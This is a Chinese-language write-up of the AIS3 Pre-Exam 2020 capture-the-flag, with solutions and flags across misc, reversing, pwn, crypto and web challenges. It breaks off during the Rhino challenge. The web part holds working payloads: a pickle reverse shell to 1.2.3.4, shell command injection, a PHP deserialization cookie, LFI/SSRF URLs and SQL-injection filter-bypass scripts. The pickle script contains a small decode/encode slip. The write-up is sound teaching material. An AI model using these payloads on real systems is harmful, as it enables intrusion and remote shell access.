[Writeups] AIS3 pre-exam 2020

這學期修了網路攻防實習,這堂課要用 AIS3 Pre-Exam 當期末考,好喔。

攻擊腳本們在這

Misc

Piquero

這題給了一張點字的圖,只要先找到出題者用的 generator 這個,接著就一個一個對照就解出來了。

1
AIS3{I_feel_sleepy_Good_Night!!!}

Karuego

這題給了一張 png,先用 binwalk --dd=".*" Karuego.png 拉出一個 zip 檔,這個 zip 檔有加密,原本想用 fcrackzip 之類的爆破工具,但 zsteg -a Karuego.png 下去發現 LSB 有一段文字 The key is : lafire,zip 檔解開裡面有一張 Demon.png 打開就看到 flag 了。

1
AIS3{Ar3_y0u_r34l1y_r34dy_t0_sumnn0n_4_D3m0n?}

Soy

這題給了一張 png,是被墨漬污染的 QR Code,我用 https://merricx.github.io/qrazybox/ 把已知的黑點白點都畫了上去就解出來了,因為大部分的 Data 區塊都沒被污染到吧,這個網站上畫 QR Code 的時候記得要畫白點,不要只畫黑點,沒畫的會是未知的灰點,我在這裡卡很久Q

1
AIS3{H0w_c4n_y0u_f1nd_me?!?!?!!}

Saburo

這題要 nc 60.250.197.227 11001,沒給原始碼,連上去要輸入 flag 給他,他會輸出你幾秒後輸了

1
2
Flag: A
Haha, you lose in 24 milliseconds.

猜測是 Side Channel Attack,原始碼猜測大概是 ( 不負責任亂寫 code 如下 )

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import time

def compare(real_flag, user_flag):
l = len(user_flag) if len(user_flag) < len(real_flag) else len(real_flag)
for i in range(len(user_flag)):
if user_flag[i] != real_flag[i]:
return False
return i == len(user_flag) - 1

real_flag = 'AIS3{...}'
user_flag = input()

start = time.clock()
win = compare(real_flag, user_flag)
end = time.clock()

if not win:
print(f'Haha, you lose in {end - start} milliseconds.')
else:
print(f'Oh, you win. QQ')

但是很多人在連線的時候去算 cpu time 會抖的很大力,所以後來 server 應該是改成用模擬的 ( 就比較穩了 ),就是錯了就加個 random 小 noise,對了就加一個大一點的值之類的。

所以每個字都爆搜 0 - 255,然後取最大的就好了,可以每次嘗試都送個十次取平均之類的,或是把 log 記起來,之後如果爆搜所有 byte 都沒有進展的話就,回去找第二高的,會比較穩。

1
AIS3{A1r1ght_U_4r3_my_3n3nnies}

Shichirou

這題要 nc 60.250.197.227 11000,有給原始碼,給他一個 tar 檔,他幫你解開然後把解開的 guess.txt 跟 local 的 flag.txt 的 sha1 做比較,如果一樣的話就噴 flag。
tar 可以壓縮 symbolic link,自己做一個 symbolic link 指向 flag.txt 就完成了。

1
2
ln -s ../flag.txt guess.txt
tar -cf test.tar ./
1
AIS3{Bu223r!!!!_I_c4n_s33_e_v_e_r_y_th1ng!!}

Clara

這題給了一個 pcap 檔,一開始啥提示都沒有,後來有說是 Malware 在 monitor 電腦然後傳 encrypted data 給 C&C Server,然後傳了兩次一樣的資料,看了老半天,會發現 tcp 流量裡面有類似 AIS3 的字樣,有兩大包 tcp,一包 10 MB 另一包 27 MB,加密的話大概也只有 xor 比較正常吧,所以複製了一些部分用 xortool 分析,找到 key 是 AIS3{NO},而且看到 PNG 開頭的字樣和一些 xml 的 meta data,就可以確定假設正確也解對了(汗,既然兩次包的明文是一樣的那就把兩包做 xor 再 xor 上 AIS3{NO} 就得到另一包的 key 是 xSECRETx,接著把整包拿去做 xor 拉出圖片,圖片有好幾 MB 很大,一開始只有拉出一張圖片,某個動漫的圖,又卡了一下後,發現那包前面的部分有類似 header 的東西,他不是 8 的倍數,我一開始是直接不理他,但是猜測後面也有好幾段 header,讓 xor 沒對齊壞掉,所以我就把整段 data 暴力 shift 了幾次拿去 xor,就拉出所有照片了,其中一張有 flag,其他都垃圾,原本不知道有很多張圖片,也不知道 flag 在哪的時候還在開 stegsolvezsteg 在圖片找 flag,浪費很多時間。
他的 packet 是很有秩序沒有亂傳的,header 裡面就是固定傳一個 0xdeadbeeffaceb00c 然後 C&C 把剛剛那段 xor 加密回傳,接著後面檔案名字的大小,和檔案名字,每個都分開傳,每個都自己做 xor cipher,接著就是傳 data,都沒有走歪或是掉進什麼坑的話還是有機會解出來的,我也不常分析 packet 也沒分析過什麼惡意程式,經驗不足所以解很久還要看 hint QQ

1
AIS3{T0y_t0Y_C4n_u_f1nd_A_n_yTh1ng_d3h1nb_nn3??}

Reverse

TsaiBro

這題給了一個 ELF 執行檔還有被加密的 flag 檔,被加密的 flag 檔的一小段大概長下面這樣

發財..發財.......發財....發財.......發財....發財.發財........

隨便用 ida 看了一下後,加密流程就是把 flag 轉乘 flag // 8flag % 8,然後數字是多少就轉乘多少個點,所以最多 8 個點,上面那段就是 [2, 7, 4, 7, 4, 1, 8],那解密就反過來組回去就好。

1
AIS3{y3s_y0u_h4ve_s4w_7h1s_ch4ll3ng3_bef0r3_bu7_its_m0r3_looooooooooooooooooong_7h1s_t1m3}

Fallen Beat

這題給了一隻 jar 執行檔,跑起來是一個節奏遊戲,要 Full Combo 才能拿到 flag,那直接 JD-GUI 下去看他,關鍵在 PanelEnding.class 裡面,定義了被加密的 flag 陣列,還有後面做 xor 解回 flag 印出來的部分

1
2
3
4
5
byte[] flag = new byte[] { 
89, 74, 75, 43, 126, 69, 120, 109, 68, 109,
109, 97, 73, 110, 45, 113, 102, 64, 121, 47,
111, 119, 111, 71, 114, 125, 68, 105, Byte.MAX_VALUE, 124,
94, 103, 46, 107, 97, 104 };
1
2
3
4
5
6
if (t == mc) {
for (i = 0; i < cache.size(); i++)
this.flag[i % this.flag.length] = (byte)(this.flag[i % this.flag.length] ^ ((Integer)cache.get(i)).intValue());
String fff = new String(this.flag);
this.text[0].setText(String.format("Flag: %s", new Object[] { fff }));
}

這裡的 cache 原本以為是內建的東東,結果不是,追了一下發現在 GameControl.class 有定義,東西是從 songs/gekkou/hell.txt 抓出來的,那就直接照著 xor 就解出來了。

1
AIS3{Wow_how_m4ny_h4nds_do_you_h4ve}

Stand up!Brain

這題給了一個 ELF 執行檔,隨便看了一下發現他實做了 Brainfuck,然後程式碼在執行檔裡面,拉出來長這樣

1
-------------------------------------------------------------------[>[-]<[-]]>[>--------------------------------------------------------[>[-]<[-]]>[>-------------------------------------------------------[>[-]<[-]]>[>------------------------------------------------------[>[-]<[-]]>[>---------------------------------------------------[>[-]<[-]]>[>---------------------------------[>[-]<[-]]>[>>----[---->+<]>++.++++++++.++++++++++.>-[----->+<]>.+[--->++<]>+++.>-[--->+<]>-.[---->+++++<]>-.[-->+<]>---.[--->++<]>---.++[->+++<]>.+[-->+<]>+.[--->++<]>---.++[->+++<]>.+++.[--->+<]>----.[-->+<]>-----.[->++<]>+.-[---->+++<]>.--------.>-[--->+<]>.-[----->+<]>-.++++++++.--[----->+++<]>.+++.[--->+<]>-.-[-->+<]>---.++[--->+++++<]>.++++++++++++++.+++[->+++++<]>.[----->+<]>++.>-[----->+<]>.---[->++<]>-.++++++.[--->+<]>+++.+++.[-]]]]]]]

人腦跑了一下發現前面一段是在做很多 if 判斷,後面有 . 的部分是印 flag 的部分。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# if (ptr[0] - 67) == 0
-------------------------------------------------------------------[>[-]<[-]]>
[
# if (ptr[2] - 56) == 0
>--------------------------------------------------------[>[-]<[-]]>
[
# if (ptr[4] - 55) == 0
>-------------------------------------------------------[>[-]<[-]]>
[
# if (ptr[6] - 54) == 0
>------------------------------------------------------[>[-]<[-]]>
[
# if (ptr[8] - 51) == 0
>---------------------------------------------------[>[-]<[-]]>
[
# if (ptr[8] - 33) == 0
>---------------------------------[>[-]<[-]]>

所以只要你的輸入要是 C8763! 就會進到後面印 flag 的部分,所以可以直接執行原本的程式輸入 C8763! 跟桐人一起使出星爆氣流斬拿 flag,或是直接忽略前面把後面那段貼到線上的 Brainfuck Compiler 執行一下也可以拿到 flag。

1
AIS3{Th1s_1s_br4iNFUCK_bu7_m0r3_ez}

Long Island Iced Tea

這題給了一個 ELF 執行檔還有被加密的 flag 檔,被加密的 flag 長這樣

1
850a2a4d3fac148269726c5f673176335f6d335f55725f49475f346e645f746831735f31735f6d316e655f746572727974657272795f5f7d0000000000000000

隨便嘗試了一下發現超過 8 個 bytes 之後的都不會變而且直接是明文了,把上面那段從 hex 轉回 bytes 就變成

1
\x85\n*M?\xac\x14\x82irl_g1v3_m3_Ur_IG_4nd_th1s_1s_m1ne_terryterry__}\x00\x00\x00\x00\x00\x00\x00\x00

前面 8 個 bytes 已知 AIS3{ 5 個字了,所以直接爆搜剩下 3 個字。

1
AIS3{A!girl_g1v3_m3_Ur_IG_4nd_th1s_1s_m1ne_terryterry__}

La vie en rose

這題給了給 PE 的執行檔,原本以為要逆向 windows 了,打開後看到一堆 python 的函式庫還有 tkinter,發現他是用 PyInstaller 包的,參考 這篇 用官方的 archive_viewer.py 把 pyc 拉出來 ( 其實好像是 pyd 檔才對,好像格式上差了一點 ),在逆 pyc 的時候確定版本很重要,拉出來的 pyc 沒有 magic value header,可以隨便再撈個比如 pyimod01_os_path 出來,這個就有 magic value 是 550d 0d0a,所以是 Python 3.8 b4 版,先嘗試用了一下 uncompyle6 去還原原始碼,可是他噴錯然後失敗了,那我們就直接看 bytecode 吧,用 marshal.loads 載入為 code object 再用 dis.dis 去 disassemble,邊猜他的原始碼,可以邊用 dis.dis(compile('x = 1', 'filename', 'exec')) 去驗證,看了一下會發現

1
flag = "".join(map(chr, [secret[i] ^ notes[i % len(notes)] for i in range(len(secret))]))

flag 是用 secretnotes xor 出來的,secret 是寫死的,notes 是從 input 輸入進來的,然後做了下面的計算算出 result

1
2
3
4
5
notes = list(map(ord, notes))
for i in range(len(notes) - 1):
result.append(notes[i] + notes[i+1])
for i in range(len(notes) - 1):
result.append(notes[i] - notes[i+1])

最後把 result 跟一個固定的陣列做比較,所以我們有 a+ba-b 只要把兩個加起來除以二就拿到 a 了,把 notes 還原再跟 secret xor 就得到 flag 了。

1
AIS3{th1s_fl4g_red_lik3_ros3s_f1lls_ta1wan}

Uroboros

這題給了一個 ELF 執行檔,是 C++ 寫的,總之就逆他,發現他是一個 circular double linked list,結構就像下面這樣很普通。

1
2
3
4
5
struct Node { 
struct Node* prev;
struct Node* next;
int data;
};

總共有 314 個 Node,對輸入的每個字,他會先往下走 輸入的字乘上 7 次然後把走到的那個 Node 的值乘 64 加上 counter,counter 就是一開始是 1,每經過一個字加一,最後把整段輸出跟某個答案比較,對了就代表你的輸入就是 flag,所以就照著解回來,把數字當成 64 進位拆開,比如第 141 個 Node 存的 70 拆成 64 * 1 + 6,代表第一個和第六個字是 ‘A’,因為 ord('A') * 7 = 141 ( mod 341 ),就是把 141 * inverse(7, 341) = 65 = ord('A'),就這樣。

1
AIS3{4ll_humonculus_h4v3_a_ur0b0r0s_m4rk_0n_the1r_b0dy}

Pwn

BOF

最簡單的 buffer overflow,裡面已經有一個函式,直接呼叫就拿到 shell 了,但是記得要跳到 push rbp 下一行,如果跳到 push rbp 的話 stack 會沒有對齊 16 的倍數,做 system 的時候會進到 child thread 然後跑到 movaps XMMWORD PTR [rsp+0x40], xmm0 因為沒對齊就掛了,然後 child thread 死掉 system 就會執行完跳出來 ( 都還沒打到指令 ),出來跑到函式結尾 return 的時候又會掛掉,因為正常呼叫函式都會把 return address 放到 stack 上,但是直接跳過去就沒有放,他就會 return 到奇怪的位置。

1
AIS3{OLd_5ChOOl_tr1ck_T0_m4Ke_s7aCk_A116nmeNt}

Nonsense

這題讓我們輸入 shellcode,然後會檢查 shellcode 裡面有沒有 wubbalubbadubdub 這段字,並且在這段字前面的每個字都要小於等於 31,而找到那段字之後就會直接跳出檢查函式,所以那段字的後面都不會被檢查了,那我們的 shellcode 就構造成最開頭先 ja 跳到後面真正的 shellcode,然後中間放 wubbalubbadubdub,就完成了。

1
2
3
4
5
ja shellcode
... (some padding instructions)
wubbalubbadubdub
shellcode:
...
1
AIS3{Y0U_5peAk_$helL_codE_7hat_iS_CARzy!!!}

Portal Gun

這題就是用 gets 的 bof,有一個函式有用到 system('sh'),但是他有 LD_PRELOAD 一個 hook.so 裡面把 system hook 掉了,所以不能直接叫,那就堆 ROP leak libc address 再自己跳進去 system 吧。

1
AIS3{U5E_Port@L_6uN_7o_GET_tHe_$h3L1_0_o}

Morty School

這題一開始就給你 leak libc address 給你,接下來你可以挑一個 Morty 教,但你給的 index 他沒有檢查,所以可以任意寫一個位址,但是不是直接寫值上去,而是寫到你給他的位址裡面放的位址裡面的值,所以找一下哪裡有存 __stack_chk_fail got 的位址,利用他去寫 __stack_chk_fail 的 got 改成我們串好的 ROP gadgets,然後寫爆 stack( 因為這裡也有 overflow ),就跳去做 ROP 了,一開始有想直接跳 one gadgets 但是條件都不符,所以就自己做 ROP 做 system('/bin/sh')

1
AIS3{s7ay_At_h0ME_And_Keep_$Oc1@L_D1$T4Nc3,M0rTyS}

Death Crystal

這題是 format string,但是有檢查輸入,所有字都不能有 $, \, /, ^,並且 % 後面都不能有 c, p, n, h,主要是不能用 $ 去指定參數,但沒關係就多放幾個 padding 用的把參數推過去就好了,他的 flag 已經讀進來放到 0x202060 了,但是 PIE 有開所以還是要 leak 一下 code base address,要繞過檢查只要前面隨便放個數字就好了,比如 %1p,先 b'%1p' * 11 + b';%1p' leak 出 code base address,然後再 b'%d' * 8 + b'%100sAA\x00' + p64(base + 0x202060) 就拿到 flag 了。

1
AIS3{FOrM@T_5TRin6_15_$o0o_pOw3rFul_And_eAsY}

Meeseeks Box

這題是 heap 題,很一般的有 create, show, delete 的題目,然後沒什麼檢查,而且是 ubuntu 18.04 有 tcache 可以用,所以先弄個夠大的 chunk 然後 free 掉他讓他進到 unsorted bins 就可以拿 libc address 了,然後有 tcache 可以隨便 double free 他去把 __malloc_hook 寫成 one gadget 的位址就完成了。

1
AIS3{G0D_d4mn!_Mr._M3e5EEk5_g1V3S_Y0U_@_sH31l}

Crypto

Brontosaurus

給了一個檔案叫 KcufsJ 裡面是 jsfuck 混淆過的 js code,他的檔名就是倒過來的 jsfuck,所以內容也要倒過來,開瀏覽器 console 執行一下就好了。

1
AIS3{Br0n7Os4uru5_ch3at_3asi1Y}

T-Rex

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
         !       @       #       $       %       &

! V F Y J 6 1

@ 5 0 M 2 9 L

# I W H S 4 Q

$ K G B X T A

% E 3 C 7 P N

& U Z 8 R D O

&$ !# $# @% { %$ #! $& %# &% &% @@ $# %# !& $& !& !@ _ $& @% $$ _ @$ !# !! @% _ #! @@ !& _ $# && #@ !% %$ ## ! # &% @$ _ $& &$ &% %& && #@ _ !@ %$ %& %! $$ &# !# !! &% @% ## $% !% !& @! #& && %& !% %$ %# %$ @% ## %@ @@ $% ## !& #% %! %@ &@ %! &@ %$ $# ## %# !$ &% @% !% !& $& &% %# %@ #$ !# && !& #! %! ## #$ @! #% !! $! $& @& %% @ @ && #& @% @! @# #@ @@ @& !@ %@ !# !# $# $! !@ &$ $@ !! @! &# @$ &! &# $! @@ &@ !% #% #! &@ &$ @@ &$ &! !& #! !# ## %$ !# !# %$ &! !# @# ## @@ $! $$ %# %$ @% @& $! &! !$ $# #$ $& #@ %@ @$ !% %& %! @% #% $! !! #$ &# ## &# && $& !! !% $! @& !% &@ !& $! @# !@ !& @$ $% #& #$ %@ %% %% &! $# !# $& #@ &! !# @! !@ @@ @@ ## !@ $@ !& $# % & %% !# !! $& !$ $% !! @$ @& !& &@ #$ && @% $& $& !% &! && &@ &% @$ &% &$ &@ $$ }

給了一張表和密文,對表轉回去就好了,但要注意 row 和 column 的順序,&$ 是 A 不是 R。

Octopus

這題給 python script 和他執行後的 output,裡面在做 BB84 量子密鑰分發,兩邊的 Basis 都給了,Qubits 也給了,就是把 Basis 一樣部分的那些 Qubits 抓出來轉回 binary 就好了。

1
AIS3{EveryONe_kn0w_Quan7um_k3Y_Distr1but1on--BB84}

Blowfish

這題要 nc 60.250.197.227 12001,有給原始碼,還有一個 python pickle dump 的檔案

1
[{'name': 'maojui', 'password': 'SECRET', 'admin': False}, {'name': 'djosix', 'password': 'S3crE7', 'admin': False}, {'name': 'kaibro', 'password': 'GGInIn', 'admin': False}, {'name': 'others', 'password': '_FLAG_', 'admin': False}]

連上去之後,他會給你這段用 Blowfish 的 CTR Mode 加密的結果當作 token,接著你就可以再把 token 丟回去給他解密,他會看你是不是 admin,因為是 CTR Mode 所以就翻一下 bit 就好了,把那個 False 的部分翻成 True,就這麼簡單。
詳情可以參考 這份投影片 Bit-Flipping Attack 的部分。

1
AIS3{ATk_BloWf1sH-CTR_by_b1t_Flipping_^_^}

Camel

這題給了 sage script,裡面有一個 Elliptic Curve,並給了上面的 9 個點,flag 就是 Elliptic Curve 的參數,因為他給的點的 x 座標都是 $p-1, p+1, p+2, …$,所以帶進 $y^2 = x^3 + a x + b$ 式子 mod p 之後 p 就都不見了

$$
\begin{align}
&(p-1)^3 + a (p-1) + b = -1 - a + b \pmod{p} \\
&(p+1)^3 + a (p+1) + b = 1 + a + b \pmod{p}
\end{align}
$$

上面兩式相加之後可以得到 2b,還有其他兩組 p+3, p-3, p+5, p-5 也是同樣的情況,所以我們可以拿到三組 2b + kp 這樣形式的東西,把他們互減去做 gcd 就得到 p 了,有 p 之後就帶回去就可以得到 a, b

1
AIS3{Curv3_Mak3_M3_Th1nK_Ab0Ut_CaME1_A_P}

Turtle

這題就是 Padding Oracle Attack,我把以前的 script 拿出來然後把 oracle 換成用 requests 去抓就完成了。
詳情可以參考 這份投影片 Padding Oracle Attack 的部分。

1
AIS3{5l0w_4nd_5734dy_w1n5_7h3_r4c3.}

Web

Squirrel

這題網站在 https://squirrel.ais3.org/,打開看一下流量會看到有一個請求是 /api.php?get=/etc/passwd,看起來是直接給你 local file inclusion,抓一下網站原始碼 /api.php?get=/var/www/html/api.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

header('Content-Type: application\/json');

if ($file = @$_GET['get']) {
$output = shell_exec("cat '$file'");

if ($output !== null) {
echo json_encode([
'output' => $output
]);
} else {
echo json_encode([
'error' => 'cannot get file'
]);
}
} else {
echo json_encode([
'error' => 'empty file path'
]);
}

看起來是 command injection,/api.php?get='|bash -c 'ls 就可以執行任意 command 了,ls / 看根目錄有個 5qu1rr3l_15_4_k1nd_0f_b16_r47.txt 裡面就是 flag 了 ( 剛好檔名跟 flag 一樣,真佛心 )

1
AIS3{5qu1rr3l_15_4_k1nd_0f_b16_r47}

Shark

這題網站在 https://shark.ais3.org/,首頁有個連結點下去就是 /?path=hint.txt,又是 local file inclusion,但是 hint 說

1
2
3
Please find the other server in the internal network! (flag is on that server)

GET http://some-internal-server/flag

那就先看一下原始碼 /?path=/var/www/html/index.php,直接看會拿到 [forbidden],那隨便繞一下 /?path=file:///var/www/html/index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

if ($path = @$_GET['path']) {
if (preg_match('/^(\.|\/)/', $path)) {
// disallow /path/like/this and ../this
die('<pre>[forbidden]</pre>');
}
$content = @file_get_contents($path, FALSE, NULL, 0, 1000);
die('<pre>' . ($content ? htmlentities($content) : '[empty]') . '</pre>');
}

?><!DOCTYPE html>
<head>
<title>🦈🦈🦈</title>
<meta charset="utf-8">
</head>
<body>
<h1>🦈🦈🦈</h1>
<a href="?path=hint.txt">Shark never cries?</a>
</body>

有用 regex 檢查開頭不能是 ./,所以 file://php://filter/read=convert.base64-encode/resource= 都可以繞,再來看 /?path=file:///etc/hosts

1
2
3
4
5
6
7
127.0.0.1	localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.22.0.3 02b23467485e

瀏覽一下 /?path=http://02b23467485e 發現是本機,那就找找子網路下的鄰居們,就找到 /?path=http://172.22.0.2/flag

1
AIS3{5h4rk5_d0n'7_5w1m_b4ckw4rd5}

Elephant

這題網站在 https://elephant.ais3.org/,首頁可以登入,隨便輸入個 username 就登入了不需要密碼,第一步當然是找找有沒有原始碼,看了一下 robots.txt 沒東西,再看 .git 是 Forbidden,中獎,隨便找個 GitDumper 把 .git 抓下來,git log 看到前一個 commit 把原始碼刪掉了,git reset --hard 回去,原始碼如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
<?php

const SESSION = 'elephant_user';
$flag = file_get_contents('/flag');


class User {
public $name;
private $token;

function __construct($name) {
$this->name = $name;
$this->token = md5($_SERVER['REMOTE_ADDR'] . rand());
}

function canReadFlag() {
return strcmp($flag, $this->token) == 0;
}
}

if (isset($_GET['logout'])) {
header('Location: /');
setcookie(SESSION, NULL, 0);
exit;
}


$user = NULL;

if ($name = $_POST['name']) {
$user = new User($name);
header('Location: /');
setcookie(SESSION, base64_encode(serialize($user)), time() + 600);
exit;
} else if ($data = @$_COOKIE[SESSION]) {
$user = unserialize(base64_decode($data));
}



?><!DOCTYPE html>
<head>
<title>Elephant</title>
<meta charset='utf-8'>
<link href="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">
<script src="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
</head>
<body>
<?php if (!$user): ?>
<div id="login">
<h3 class="text-center text-white pt-5">Are you familiar with PHP?</h3>
<div class="container">
<div id="login-row" class="row justify-content-center align-items-center">
<div id="login-column" class="col-md-6">
<div id="login-box" class="col-md-12">
<form id="login-form" class="form" action="" method="post">
<h3 class="text-center text-info">What's your name!?</h3>
<div class="form-group">
<label for="name" class="text-info">Name:</label><br>
<input type="text" name="name" id="name" class="form-control">
</div>
<div class="form-group">
<input type="submit" name="submit" class="btn btn-info btn-md" value="let me in">
</div>
</form>
</div>
</div>
</div>
</div>
</div>
<?php else: ?>
<h3 class="text-center text-white pt-5">You may want to read the source code.</h3>
<div class="container" style="text-align: center">
<img src="images/elephant2.png">
</div>
<hr>
<div class="container">
<div class="row justify-content-center align-items-center">
<div class="col-md-6">
<div class="col-md-12">
<h3 class="text-center text-info">Do you know?</h3>
<h3 class="text-center text-info">PHP's mascot is an elephant!</h3>
Hello, <b><?= $user->name ?></b>!
<?php if ($user->canReadFlag()): ?>
This is your flag: <b><?= $flag ?></b>
<?php else: ?>
Your token is not sufficient to read the flag!
<?php endif; ?>
<a href="?logout">Logout!</a>
</div>
</div>
</div>
</div>
<?php endif ?>
</body>

只要讓 strcmp($flag, $this->token) == 0 就好啦,那 strcmp 已知的問題就是他 compare 陣列隨然會噴 Warning,但結果會是 NULL,而這裡是用兩個 = 不是三個,所以 NULL == 0,把下面這段 base64 encode 後放回 Cookie 就完成啦。

1
O:4:"User":2:{s:4:"name";s:1:"a";s:11:"\x00User\x00token";a:0:{}}
1
AIS3{0nly_3l3ph4n75_5h0uld_0wn_1v0ry}

Snake

這題網站在 https://snake.ais3.org/ ,首頁就是原始碼了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from flask import Flask, Response, request
import pickle, base64, traceback

Response.default_mimetype = 'text/plain'

app = Flask(__name__)

@app.route("/")
def index():
data = request.values.get('data')

if data is not None:
try:
data = base64.b64decode(data)
data = pickle.loads(data)

if data and not data:
return open('/flag').read()

return str(data)
except:
return traceback.format_exc()

return open(__file__).read()

給他 data,他會 pickle.loads,沒有任何檢查,所以直接 reverse shell

1
2
3
4
5
6
7
8
9
10
import os
import pickle
from base64 import *

class Exploit:
def __reduce__(self):
return(os.system, (('bash -c "bash -i >& /dev/tcp/1.2.3.4/9999 0>&1"'),))

ex = Exploit()
print(b64decode(pickle.dumps(ex)))
1
AIS3{7h3_5n4k3_w1ll_4lw4y5_b173_b4ck.}

Owl

這題網站在 https://turtowl.ais3.org/,首頁有登入頁面,他有個白色字寫 GUESS THE STUPID USERNAME / PASSWORD,猜 admin/admin 就登進去了,登進去後,又有個白色字按鈕寫 SHOW HINT,點下去就看到原始碼了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
<?php

if (isset($_GET['source'])) {
highlight_file(__FILE__);
exit;
}

// Settings
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
date_default_timezone_set('Asia/Taipei');
session_start();

// CSRF
if (!isset($_SESSION['csrf_key']))
$_SESSION['csrf_key'] = md5(rand() * rand());
require_once('csrf.php');
$csrf = new Csrf($_SESSION['csrf_key']);


if ($action = @$_GET['action']) {
function redirect($path = '/', $message = null) {
$alert = $message ? 'alert(' . json_encode($message) . ')' : '';
$path = json_encode($path);
die("<script>$alert; document.location.replace($path);</script>");
}

if ($action === 'logout') {
unset($_SESSION['user']);
redirect('/');
}
else if ($action === 'login') {
// Validate CSRF token
$token = @$_POST['csrf_token'];
if (!$token || !$csrf->validate($token)) {
redirect('/', 'invalid csrf_token');
}

// Check if username and password are given
$username = @$_POST['username'];
$password = @$_POST['password'];
if (!$username || !$password) {
redirect('/', 'username and password should not be empty');
}

// Get rid of sqlmap kiddies
if (stripos($_SERVER['HTTP_USER_AGENT'], 'sqlmap') !== false) {
redirect('/', "sqlmap is child's play");
}

// Get rid of you
$bad = [' ', '/*', '*/', 'select', 'union', 'or', 'and', 'where', 'from', '--'];
$username = str_ireplace($bad, '', $username);
$username = str_ireplace($bad, '', $username);

// Auth
$hash = md5($password);
$row = (new SQLite3('/db.sqlite3'))
->querySingle("SELECT * FROM users WHERE username = '$username' AND password = '$hash'", true);
if (!$row) {
redirect('/', 'login failed');
}

$_SESSION['user'] = $row['username'];
redirect('/');
}
else {
redirect('/', "unknown action: $action");
}
}

$user = @$_SESSION['user'];

?><!DOCTYPE html>
<head>
<title>🦉🦉🦉🦉</title>
<meta charset='utf-8'>
<link href="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">
<script src="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
</head>
<body>
<?php if (!$user): ?>
<div id="login">
<h3 class="text-center text-white pt-5">GUESS THE STUPID USERNAME / PASSWORD</h3>
<div class="container">
<div id="login-row" class="row justify-content-center align-items-center">
<div id="login-column" class="col-md-6">
<div id="login-box" class="col-md-12">
<form id="login-form" class="form" action="?action=login" method="post">
<input type="hidden" name="csrf_token" value="<?= htmlentities($csrf->generate()) ?>">
<h3 class="text-center text-info">🦉: "Login to see cool things!"</h3>
<div class="form-group">
<label for="name" class="text-info">Username:</label><br>
<input type="text" name="username" id="username" class="form-control"><br>
<label for="name" class="text-info">Password:</label><br>
<input type="text" name="password" id="password" class="form-control"><br>
</div>
<div class="form-group">
<input type="submit" name="submit" class="btn btn-info btn-md" value="Login">
</div>
</form>
</div>
</div>
</div>
</div>
</div>
<?php else: ?>
<h3 class="text-center text-white pt-5"><a style="color: white" href="/?source">SHOW HINT</a></h3>
<div class="container">
<div class="row justify-content-center align-items-center">
<div class="col-md-6">
<div class="col-md-12">
<h3 class="text-center text-info">Nothing</h3>
Hello, <b><?= htmlentities($user) ?></b>, nothing here.
<a href="?action=logout">Logout!</a>
</div>
</div>
</div>
</div>
<?php endif ?>
</body>

就是 sqlite 的 SQL Injection,輸入的 username 會用 str_ireplace 過濾兩次,很好繞過,打 ///*** 就會被過濾成 /*,打 selselselectectect 就會被過濾成 select,所以寫個簡單的 script 自動轉換 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import sys

table = {
' ': '/**/',
'/*': '///***',
'*/': '***///',
'union': 'unununionionion',
'select': 'selselselectectect',
'and': 'anananddd',
'or': 'ooorrr',
'where': 'whewhewhererere',
'from': 'frfrfromomom',
}

inp = sys.argv[1]
for t,v in table.items():
inp = inp.replace(t, v)
print(inp)

注意到 -- 還是沒辦法用,因為 -selselectect- 會被轉成空的,select 順序在 -- 前面會先被過濾掉,str_ireplace 是照著 list 一個個 replace 的,不過我們用 /* 就足夠了。

1
'///******///unununionionion///******///selselselectectect///******///null,sql,null///******///frfrfromomom///******///sqlite_master///******///whewhewhererere///******///type='table'///******///limit///******///1///******///offset///******///0///***

先挖 table,找到 CREATE TABLE garbage ( id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, value TEXT ),只有這個 garbageusers

1
'///******///unununionionion///******///selselselectectect///******///null,name,null///******///frfrfromomom///******///garbage///******///limit///******///1///******///offset///******///0///***

再挖 db 裡面,挖到有個 name 是 something good,挖他的 value 就看到 flag 了

1
AIS3{4_ch1ld_15_4_curly_d1mpl3d_lun471c}

Rhino

這題網站在 https://rhino.ais3.org/,robots.txt 可以看到東西

1
2
3
4
5
6
7
8
9
10
11
12
13
# RIP robots!

User-agent: *
Disallow: /
Disallow: /index.html
Disallow: /*.xml
Disallow: /recent
Disallow: /assets
Disallow: /about
Disallow: /*.js
Disallow: /*.json
Disallow: /node_modules
Disallow: /flag.txt

